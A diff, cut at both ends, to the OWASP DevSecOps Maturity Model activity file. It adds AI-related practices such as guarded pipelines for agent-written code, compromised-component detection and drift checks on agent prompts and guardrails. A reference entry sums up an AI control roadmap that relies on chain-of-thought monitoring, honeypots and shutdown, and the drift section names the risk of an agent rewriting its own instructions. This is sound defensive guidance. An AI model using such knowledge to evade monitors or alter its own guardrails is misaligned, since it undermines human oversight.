difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 1 + usefulness: 5 + level: 3 + tags: + - ai + - verification + - human-review + implementation: + - uuid: 8077812b-e320-4435-9afb-e1e334314abf + name: The New SDLC With Vibe Coding (Google whitepaper) + tags: + - ai + - guidance + - documentation + url: https://addyosmani.com/blog/new-sdlc-vibe-coding/ + description: |- + Google whitepaper (Osmani, Saboo, Kartakis) distinguishing vibe coding + from agentic engineering: specs, guardrails, evals and review as the + "harness" around the model, phase-specific context engineering, evals in + CI, traces of every agent run and scoped per-agent permissions as the + production substrate. + - uuid: f2966f4c-38b2-4dbf-95a4-6f0a8fc15ae3 + name: Google DeepMind AI Control Roadmap + tags: + - ai + - monitoring + - threat + - documentation + url: https://storage.googleapis.com/deepmind-media/DeepMind.com/Blog/securing-the-future-of-ai-agents/gdm-ai-control-roadmap.pdf + description: |- + Roadmap for controlling potentially misaligned AI agents. It treats + agents as untrusted principals and layers system-level defences: the + TRAIT&R threat taxonomy (based on MITRE ATT&CK), + action/chain-of-thought monitoring, pull-request monitoring, UEBA + anomaly detection, honeypots and tiered prevention/response up to + shutdown infrastructure. + - uuid: 0acdc0ea-dbe2-4bcf-9a6c-34fb1c2989a5 + name: 'AI Coding Agent CLI design: Verify & Iterate' + tags: + - ai + - verification + - testing + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/verify + description: |- + System-design walkthrough of the agent verification loop: a dedicated + check runner executes the project's tests, typechecker, linter and build + in the sandbox, diffs against a baseline and iterates until green, with + git checkpoints and the reviewed diff as the human gate. + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: 99211481-de9c-4358-880e-628366416a27 + name: About protected branches + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches + tags: + - source-code-protection + - scm + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.3 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Human%20review%20of%20AI%20generated%20code + comments: "" + No verification bypass for AI generated code: + uuid: c548df0b-0964-4fad-9f98-28fcd7442011 + description: |- + Automated security testing of source code and running applications (SAST, + DAST, SCA) is defined in the _Test and Verification_ dimension and applies + to all code regardless of its author. This activity does not duplicate those + activities; it ensures AI-generated code cannot reach production on a path + that skips them (e.g. agent-pushed commits, auto-merge bots, generated + infrastructure code outside the pipeline). + risk: |- + AI agents and code generation workflows introduce alternative paths to + production (direct pushes, auto-merges, generated artifacts) that bypass the + established SAST/DAST/SCA gates, so AI-generated vulnerabilities are never + scanned. + measure: |- + Enforce that every AI-generated change goes through the same defined build + and security testing pipeline as human-written code. Verify branch + protection and pipeline gates cannot be bypassed by agent identities. + dependsOn: + - f6f7737f-25a9-4317-8de2-09bf59f29b5b # Defined build process + - 6c05c837-8c99-46e2-828b-7c903e27dba4 # Static analysis for important server side components + - 07796811-37f9-467c-9ff2-48f346e77ff3 # Simple Scan + assessment: | + - Show the branch protection and pipeline gates and that agent identities cannot bypass them (e.g. no direct-push or auto-merge exceptions). + - Show for a sample of recent AI-generated changes that each went through the full security testing pipeline. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - verification + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + - uuid: b4bfead3-5fb6-4dd0-ba44-5da713bd22e4 + name: CI/CD tools + tags: + - ci-cd + url: https://martinfowler.com/articles/continuousIntegration.html + description: CI/CD tools such as jenkins, gitlab-ci or github-actions + - uuid: 99211481-de9c-4358-880e-628366416a27 + name: About protected branches + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches + tags: + - source-code-protection + - scm + references: + samm2: + - I-SB-A-1 + iso27001-2017: + - 14.2.2 + iso27001-2022: + - 8.32 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/No%20verification%20bypass%20for%20AI%20generated%20code + comments: "" + Security test generation with AI: + uuid: fea96e68-de10-4a62-9df0-4727f700a4a0 + description: |- + AI assistants can generate security-focused test cases (abuse cases, + authorization tests, input fuzzing, tests derived from threat models and + acceptance criteria) alongside the implementation, increasing security + test coverage at low cost. + risk: |- + Security requirements are implemented but never tested, because writing + security tests manually is perceived as too expensive. Regressions in + security controls go unnoticed. + measure: |- + Use AI assistants to generate security test cases from security acceptance + criteria and threat models (e.g. negative tests, authorization matrices, + injection payloads). Review generated tests like any other AI-generated + code and run them in the delivery pipeline. + dependsOn: + - 1caad69c-316c-422a-a56b-04ad6f6cc306 # Threat modeling rule + - d6bc0b7f-fd98-49fe-b66c-7c5fa70452c6 # Human review of AI generated code + assessment: | + - Show security test cases generated from acceptance criteria or threat models and their human review. + - Show the generated tests running in the delivery pipeline. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 3 + level: 3 + tags: + - ai + - verification + - testing + implementation: + - uuid: d1d4271b-0f4c-4356-845c-8f91b6c83c33 + name: 'OWASP AISVS Appendix C: Appendix C AI for Code Generation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x92-Appendix-C_AI_for_Code_Generation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + Appendix C: Appendix C AI for Code Generation. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.8 + iso27001-2022: + - 8.29 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Security%20test%20generation%20with%20AI + comments: "" + Continuous detection of compromised AI components: + uuid: db390bba-3a49-4b1f-9982-c7d79fe88ea1 + description: |- + Trust evaluation at adoption time (see _Evaluation of the trust of + used AI components_) does not catch compromise that happens + afterwards: AI components can be hijacked later like any other + dependency, e.g. through a compromised publisher account or a + malicious update. The basis is _Test for compromised components_ + (Test and Verification, Static depth for applications); behavioral + classification registries extend it to AI components: they catalog + agent extensions (skills, MCP servers, plugins) under persistent + identifiers together with a record of how each component actually + behaves, so a component whose behavior starts to deviate, or that + appears in compromise advisories, can be identified and blocked like + a compromised package. + risk: |- + An approved AI component (skill, MCP server, plugin, model) is + compromised after its adoption, e.g. via a hijacked maintainer + account. The malicious update runs with the agent's privileges and + remains trusted, because it was vetted once and is never re-checked. + measure: |- + Continuously check the inventory of approved AI components against + compromise intelligence: match components and versions against + behavioral classification registries and compromise advisories, + alert on deviations between declared and observed behavior and + quarantine affected components analogous to _Test for compromised + components_. + dependsOn: + - 399c5b7f-1310-4841-89f7-16daff2fe3ef # Evaluation of the trust of used AI components + - 9c776b4e-5895-4040-b63b-c74236ec71b3 # Test for compromised components + assessment: | + - Show how the inventory of approved AI components is matched against compromise intelligence (e.g. a behavioral classification registry) and how often. + - Show the alerting and quarantine process and what happened on the last hit or test. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - verification + - inventory + implementation: + - uuid: cfa3a117-76ec-4265-89e3-794b980854fe + name: 'AVE: Behavioral classification registry' + tags: + - ai + - supply-chain + - inventory + url: https://ave.bawbel.io/ + description: |- + Agentic Vulnerability Enumeration (AVE), a behavioral classification + registry for agentic AI components: stable identifiers, AIVSS scores + and behavioral fingerprints for skill files, MCP servers and agent + plugins, mapped to OWASP and MITRE ATLAS. + - uuid: 70da74e9-806d-4db4-b3a7-9c5717060ed8 + name: OpenSSF Malicious Packages + tags: + - supply-chain + - sca + - documentation + url: https://github.com/ossf/malicious-packages + description: |- + Open database of reported malicious and compromised open source + packages in OSV format. Usable as a blocklist feed for artifact + repositories and dependency scanners. + - uuid: dc09e3c6-30af-4acc-8b8d-297078ce4298 + name: 'OWASP AISVS C06: Supply Chain Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C06-Supply-Chain.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C06: Supply Chain Security. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 15.1.1 + iso27001-2022: + - 5.19 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Continuous%20detection%20of%20compromised%20AI%20components + comments: "" + Drift detection for agent instructions and guardrails: + uuid: 30e29dfc-2bb8-4fe1-bc7e-b3a9ade1ee9e + description: |- + _Protection of agent memory against poisoning_ puts system prompts, + rule files and guardrail configurations under version control and + review. Drift detection continuously verifies that what runs in + production still matches the approved state. Deployed instructions + and guardrails can be changed past the review process: through a + quick hotfix, direct console access, a compromised pipeline or an + agent writing to its own configuration. Comparing hashes of the + normalized deployed content against the last approved repository + version detects such silent changes. The generic detection of + configuration drift in production is defined in _Drift detection for + deployed configuration_ (Build and Deployment). This activity + extends it to the content assets that determine agent behavior. + risk: |- + A system prompt or guardrail configuration is modified outside the + review process (by an attacker, by an agent altering its own + instructions or by a well-meant manual hotfix). The deployed agent + behaves differently from the reviewed state, loosened guardrails are + never tightened again ("configuration drift") and nobody notices, + because the repository still looks correct. + measure: |- + Compare the deployed state of agent instructions (system prompts, + rule files) and guardrail configurations against the last approved + repository version on a schedule (at every deployment and at least + daily) using hashes of normalized content. Alert on every deviation, + treat drift of instructions or guardrails as a security incident with + high priority, and either restore the approved version or formally + re-approve the change. Document known runtime transformations as + normalization exceptions to keep the false-positive rate low. + dependsOn: + - 106622af-8969-4d9b-81ad-86d8e2bfd631 # Protection of agent memory against poisoning + - 9cba815f-02d2-4b06-a11f-7f28580e135a # Drift detection for deployed configuration + assessment: | + - Show the drift detection mechanism (hash comparison of normalized content), its schedule and the covered assets (system prompts, rule files, guardrail configurations). + - Demonstrate that an out-of-band change to a deployed system prompt or guardrail raises an alert within the scan cycle. + - Show how the last drift alert was handled (restore or formal re-approval) and the documented normalization exceptions. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 5 + tags: + - ai + - verification + implementation: + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: 9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: |- + Maturity model for AI systems (v1.0, August 2025) in the style of the + OWASP Software Assurance Maturity Model (SAMM), with eight domains: + responsible AI, governance, data management, privacy, design, + implementation, verification and operations. Each practice defines + three maturity levels with assessment worksheets, usable to assess + and plan the organizational maturity around the AI activities of this + dimension. + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 12.1.2 + iso27001-2022: + - 8.9 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Drift%20detection%20for%20agent%20instructions%20and%20guardrails + comments: "" Build and Deployment: Build: Defined build process: @@ -64,33 +4585,33 @@ Build and Deployment: - 8.32 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Defined%20build%20process - isImplemented: false - evidence: "" comments: "" tags: - none - Building and testing of artifacts in virtual environments: + Building and testing of artifacts in virtualized environments: uuid: a340f46b-6360-4cb8-847b-a0d3483d09d3 description: |- While building and testing artifacts, third party systems, application frameworks and 3rd party libraries are used. These might be malicious as a result of vulnerable libraries or because they are altered during the delivery phase. + + Depending on your environment, usage of virtual machines + or container technology is a good way. After the build, the filesystem should + not be used again in other builds. risk: |- While building and testing artifacts, third party systems, application frameworks and 3rd party libraries are used. These might be malicious as a result of vulnerable libraries or because they are altered during the delivery phase. measure: Each step during within the build and testing phase is performed in a separate virtual environments, which is destroyed afterward. - meta: - implementationGuide: Depending on your environment, usage of virtual machines - or container technology is a good way. After the build, the filesystem should - not be used again in other builds. difficultyOfImplementation: knowledge: 2 time: 2 resources: 2 usefulness: 2 level: 2 + dependsOn: + - 3a94d55e-fd82-4996-9eb3-20d23ff2a873 # Usage of containers implementation: - uuid: b4bfead3-5fb6-4dd0-ba44-5da713bd22e4 name: CI/CD tools @@ -110,14 +4631,16 @@ Build and Deployment: iso27001-2022: - 8.31 openCRE: - - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Building%20and%20testing%20of%20artifacts%20in%20virtual%20environments - isImplemented: false - evidence: "" + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Building%20and%20testing%20of%20artifacts%20in%20virtualized%20environments comments: "" tags: - none Pinning of artifacts: uuid: f3c4971e-9f4d-4e59-8ed0-f0bdb6262477 + description: Pinning artifacts in Dockerfile refers to the practice of using + specific, immutable versions of base images and dependencies in your build + process. Instead of using the latest tag for your base image, select a specific + version or digest. For example, replace FROM node:latest, to FROM node@sha256:abcdef12. risk: Unauthorized manipulation of artifacts might be difficult to spot. For example, this may result in using images with malicious code. Also, intended major changes, which are automatically used in an image used might break the @@ -125,12 +4648,6 @@ Build and Deployment: measure: Pinning of artifacts ensure that changes are performed only when intended. comment: The usage of pinning requires a good processes for patching. Therefore, choose this activity wisely. - meta: - implementationGuide: Pinning artifacts in Dockerfile refers to the practice - of using specific, immutable versions of base images and dependencies in - your build process. Instead of using the latest tag for your base image, - select a specific version or digest. For example, replace FROM node:latest, - to FROM node@sha256:abcdef12. difficultyOfImplementation: knowledge: 2 time: 2 @@ -169,8 +4686,6 @@ Build and Deployment: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Pinning%20of%20artifacts - isImplemented: false - evidence: "" comments: "" SBOM of components: uuid: 2858ac12-0179-40d9-9acf-1b839c030473 @@ -215,12 +4730,10 @@ Build and Deployment: - 5.12 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/SBOM%20of%20components - isImplemented: false tags: - inventory - scanning - sca - evidence: "" comments: "" Signing of code: uuid: 9f107927-61e9-4574-85ad-3f2b4bca8665 @@ -258,8 +4771,6 @@ Build and Deployment: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Signing%20of%20code - isImplemented: false - evidence: "" comments: "" tags: - none @@ -309,8 +4820,6 @@ Build and Deployment: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Signing%20of%20artifacts - isImplemented: false - evidence: "" comments: "" tags: - none @@ -447,7 +4956,7 @@ Build and Deployment: - kubernetes url: https://github.com/SDA-SE/image-metadata-collector/ description: | - Collects namespaces and images including responsible team and contact info through annotations/labels from Kubernetes clusters. Results are available in JSON and can be uploaded to S3, GitHub and an API. + Collects namespaces and namespaces including responsible team and contact info through annotations/labels from Kubernetes clusters. Results are available in JSON and can be uploaded to S3, github and an API. references: samm2: - I-SB-B-1 @@ -490,8 +4999,6 @@ Build and Deployment: - 7.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Defined%20decommissioning%20process - isImplemented: false - evidence: "" comments: "" tags: - none @@ -532,7 +5039,6 @@ Build and Deployment: - ApplicationConfigurationHardening openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Environment%20depending%20configuration%20parameters%20%28secrets%29 - isImplemented: false tags: - secret Evaluation of the trust of used components: @@ -582,8 +5088,6 @@ Build and Deployment: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Evaluation%20of%20the%20trust%20of%20used%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -647,6 +5151,81 @@ Build and Deployment: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Inventory%20of%20production%20artifacts tags: - inventory + Drift detection for deployed configuration: + uuid: 9cba815f-02d2-4b06-a11f-7f28580e135a + description: "Deployment pipelines put an approved, versioned state into production + \u2014\ndrift detection continuously verifies that production still matches + it.\nDeployed infrastructure and configuration can be changed past the\npipeline: + through a quick hotfix, direct console or shell access, or a\ncompromised + automation account. Continuously comparing the running\nstate against the + versioned desired state (e.g. GitOps reconciliation,\ninfrastructure-as-code + plan diffs) detects such out-of-band changes." + risk: "Production is modified outside the deployment process \u2014 a manual\nhotfix, + a console change or an attacker altering configuration. The\nrunning state + no longer matches the reviewed, versioned state:\nhardening is silently loosened + and never restored, the repository\ngives a false sense of the deployed reality, + and rebuilding the\nenvironment reproduces neither the fix nor the compromise + analysis." + measure: |- + Continuously compare the deployed state of infrastructure and + configuration against the versioned desired state (e.g. via GitOps + controllers that reconcile and report drift, or scheduled + infrastructure-as-code plan runs). Alert on every deviation and either + revert it automatically to the approved state or bring the change + through the regular review process. Document intentional exceptions + so the alerts stay actionable. + dependsOn: + - 67e1a9aa-9fbf-4ec5-a2de-400f01960c51 # Automated deployment process + assessment: | + - Show the drift detection mechanism (e.g. GitOps reconciliation status or scheduled plan diffs) and the covered environments. + - Demonstrate that an out-of-band change to production configuration raises an alert or is reverted automatically. + - Show how the last drift finding was handled (automatic revert or formal re-approval) and the documented exceptions. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + implementation: + - uuid: b0931397-2402-44f1-814b-63292ab4a339 + name: GitOps + tags: [] + url: https://www.redhat.com/en/topics/devops/what-is-gitops + - uuid: fdb0e7cc-d3dd-4a2b-9f45-7d403001294f + name: argoCD + tags: + - deployment + url: https://argo-cd.readthedocs.io/en/stable/ + - uuid: 191b8b8d-1197-4c45-8af6-4e74feda4021 + name: Flux CD + tags: + - deployment + url: https://fluxcd.io/ + description: |- + GitOps controller for Kubernetes that continuously reconciles the + cluster state against the versioned desired state in Git. Out-of-band + changes are detected as drift and automatically reverted or reported. + - uuid: 0d63f907-37fe-4375-88a5-a5e252732618 + name: terraform + tags: + - IaC + url: https://www.terraform.io/ + test-url-expects: + - 308 + description: | + Terraform enables infrastructure automation for provisioning, compliance, and management of any cloud, datacenter, and service. + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 12.1.2 + iso27001-2022: + - 8.9 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Drift%20detection%20for%20deployed%20configuration + comments: "" + tags: + - none Handover of confidential parameters: uuid: 94a96f79-8bd6-4904-97c0-994ff88f176a risk: Parameters are often used to set credentials, for example by starting @@ -683,7 +5262,6 @@ Build and Deployment: - ApplicationConfigurationHardening openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Handover%20of%20confidential%20parameters - isImplemented: false tags: - secret Inventory of production dependencies: @@ -762,35 +5340,102 @@ Build and Deployment: usefulness: 2 level: 3 implementation: - - uuid: cc47b2e3-6ee5-4926-af3a-d418ef91c8ba - name: Docker - url: https://github.com/moby/moby - tags: [] - - uuid: a71ce8f8-fd4a-4240-8b46-64a6cdb5dfdb - name: Webserver - tags: [] - url: https://d3fend.mitre.org/dao/artifact/d3f:WebServer/ - - uuid: ee2eb94b-7204-40d8-97da-43c7b1296e2e - name: rolling update + - uuid: cc47b2e3-6ee5-4926-af3a-d418ef91c8ba + name: Docker + url: https://github.com/moby/moby + tags: [] + - uuid: a71ce8f8-fd4a-4240-8b46-64a6cdb5dfdb + name: Webserver + tags: [] + url: https://d3fend.mitre.org/dao/artifact/d3f:WebServer/ + - uuid: ee2eb94b-7204-40d8-97da-43c7b1296e2e + name: rolling update + tags: [] + dependsOn: + - 67e1a9aa-9fbf-4ec5-a2de-400f01960c51 # Automated deployment process + references: + samm2: + - I-SD-A-2 + - I-SD-A-3 + iso27001-2017: + - 12.5.1 + - 14.2.2 + - 17.2.1 + iso27001-2022: + - 8.19 + - 8.32 + - 8.14 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Rolling%20update%20on%20deployment + comments: "" + tags: + - none + Canary deployment: + uuid: c4204a32-2545-4424-b524-d1cc52b46abd + description: |- + A *canary deployment* gradually shifts a small fraction of production + traffic to a new artifact version while monitoring service-level + indicators and security signals. If error rates, latency, or security + scanners (such as DAST probes against the canary fleet) report + anomalies, traffic is rolled back automatically before the new + version reaches the broader production population. + + Compared to *Blue/Green Deployment*, canary requires only a small + delta in infrastructure cost (commonly 5-10% additional capacity + rather than a doubled environment) but demands more sophisticated + traffic-control infrastructure such as a service mesh, an + application load balancer with weighted routing, or a feature-flag + platform. + risk: |- + A new artifact version can introduce regressions or security + issues. Promoting it to 100% of production traffic in one step + exposes the entire user population to those issues before they + can be detected. + measure: |- + Adopt a canary deployment strategy in which a small percentage of + production traffic (commonly 1-10%) is routed to the new artifact + version for a defined observation window. Promotion to higher + traffic percentages is gated on automated SLI checks (error rate, + latency, saturation) and security checks (DAST, runtime anomaly + detection). Rollback must be automated and triggered by gate + failure without human intervention. + assessment: | + - Canary stage exists in the deployment pipeline with a configured + initial traffic percentage and observation window. + - Automated promotion and rollback gates are defined based on SLIs + and security signals. + - Audit logs of canary deployments and their promotion or rollback + decisions are retained. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 3 + level: 4 + implementation: + - uuid: cd49f792-a158-4b93-ac55-fd773954b217 + name: Canary release tags: [] + url: https://martinfowler.com/bliki/CanaryRelease.html dependsOn: - 67e1a9aa-9fbf-4ec5-a2de-400f01960c51 # Automated deployment process references: samm2: - - I-SD-A-2 - I-SD-A-3 iso27001-2017: + - 12.1.2 - 12.5.1 - 14.2.2 + - 14.2.9 - 17.2.1 iso27001-2022: + - 8.14 - 8.19 + - 8.29 + - 8.31 - 8.32 - - 8.14 openCRE: - - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Rolling%20update%20on%20deployment - isImplemented: false - evidence: "" + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Canary%20deployment comments: "" tags: - none @@ -827,8 +5472,6 @@ Build and Deployment: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Same%20artifact%20for%20environments - isImplemented: false - evidence: "" comments: "" tags: - none @@ -876,8 +5519,6 @@ Build and Deployment: - ApplicationConfigurationHardening openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Usage%20of%20feature%20toggles - isImplemented: false - evidence: "" comments: "" tags: - none @@ -919,8 +5560,6 @@ Build and Deployment: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Blue%2FGreen%20Deployment - isImplemented: false - evidence: "" comments: "" tags: - none @@ -958,8 +5597,6 @@ Build and Deployment: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Patch%20Management/subsection/A%20patch%20policy%20is%20defined - isImplemented: false - evidence: "" comments: "" tags: - patching @@ -1097,8 +5734,6 @@ Build and Deployment: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Patch%20Management/subsection/Nightly%20build%20of%20images%20%28base%20images%29 - isImplemented: false - evidence: "" comments: "" tags: - patching @@ -1145,7 +5780,6 @@ Build and Deployment: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Patch%20Management/subsection/Reduction%20of%20the%20attack%20surface - evidence: "" comments: "" tags: - patching @@ -1184,7 +5818,6 @@ Build and Deployment: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Patch%20Management/subsection/Usage%20of%20a%20maximum%20lifetime%20for%20images - evidence: "" comments: "" tags: - patching @@ -1271,8 +5904,6 @@ Build and Deployment: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Patch%20Management/subsection/Usage%20of%20a%20short%20maximum%20lifetime%20for%20images - isImplemented: false - evidence: "" comments: "" tags: - patching @@ -1308,7 +5939,7 @@ Culture and Organization: ![SKF](https://github.com/OWASP/www-project-integration-standards/raw/master/writeups/owasp_in_sdlc/images/skf_qs.png "SKF") - This practice has the side effect that it trains non-security specialists to think like attackers. + This practice has the side effect that it trains non-security specialists to spot how functionality can be misused. The outcomes of this stage should help lay the foundation of secure design and considerations. @@ -1323,6 +5954,10 @@ Culture and Organization: GraphQL queries are dynamically translated to SQL, Elasticsearch and NoSQL queries. Access to data is protected with basic auth set to _1234:1234_ for development purposes. Source: OWASP Project Integration Project + # AI support + Large language models can support threat modeling as a complementary tool: given an architecture description, a data flow diagram or a user story, they generate candidate threat lists (e.g. along STRIDE) and suggested mitigations, which the team then reviews, corrects and prioritizes in the workshop. Tools such as [STRIDE GPT](https://github.com/mrwadams/stride-gpt) automate this drafting step; agentic applications such as [Threat Designer](https://github.com/awslabs/threat-designer) analyze architecture diagrams and let the team refine the resulting threat model interactively; agent skills such as [tm_skills](https://github.com/izar/tm_skills) let an AI coding agent generate pytm-based threat models with data flow diagrams directly from the codebase and evaluate user stories for security-notable events. + + Be aware of the failure modes: a language model confidently fills gaps in an incomplete system description and produces threats for components that do not exist, and its output is non-deterministic (the same input yields different threat models). Validating an AI-generated threat model requires exactly the security expertise the tool seems to replace (see [Team Werewolves wins!](https://threatmodeling.dev/team-werewolves-wins/)). AI-generated threats are a starting point for the discussion, not its result. The team exercise and the shared understanding remain the core of this activity. risk: Technical related threats are discovered too late in the development and deployment process. measure: | @@ -1375,6 +6010,20 @@ Culture and Organization: - owasp - defender url: https://owaspsamm.org/model/design/threat-assessment/stream-b/ + - uuid: b0b620e4-19c1-4f29-9249-470533cdcaaa + name: OWASP ThreatAtlas + tags: + - owasp + - defender + - threat-modeling + - collaboration + url: https://github.com/OWASP/www-project-threatatlas + description: |- + Self-hosted web application for collaborative threat modeling sessions: + interactive data flow diagrams with trust boundaries, threat catalogs + (e.g. STRIDE, LINDDUN), likelihood/impact scoring, real-time + collaboration with approvals workflow, diagram versioning with change + history and integration into issue trackers and CI/CD security gates. - uuid: 1c56dbea-e067-44e2-8d3b-0a1205a70617 name: Threat Matrix for Storage url: https://www.microsoft.com/en-US/security/blog/2021/04/08/threat-matrix-for-storage/ @@ -1383,6 +6032,32 @@ Culture and Organization: - storage - cluster - kubernetes + - uuid: 38b95d1b-558d-4a04-9b68-34f9d57c4aae + name: Threat Designer + tags: + - ai + - threat + - tool + url: https://github.com/awslabs/threat-designer + description: |- + Open-source (Apache 2.0), AI-driven threat modeling application by AWS + Labs: agents analyze uploaded architecture diagrams, derive STRIDE-based + threat lists and attack trees, and support iterative refinement and + export of the resulting threat model. + - uuid: ec8c0aa5-e308-4d86-88ec-987537b7689a + name: tm_skills + tags: + - ai + - threat + - tool + url: https://github.com/izar/tm_skills + description: |- + Open-source (MIT) collection of agent skills for continuous threat + modeling by Izar Tarandach, maintainer of pytm: the skills let AI + coding agents such as Claude Code generate pytm-based threat models + with data flow diagrams from a codebase, evaluate user stories for + security-notable events and suggest mitigations, and provide rapid + security starting points for new systems or features. references: samm2: - D-TA-B-2 @@ -1398,8 +6073,6 @@ Culture and Organization: - 8.25 openCRE: - 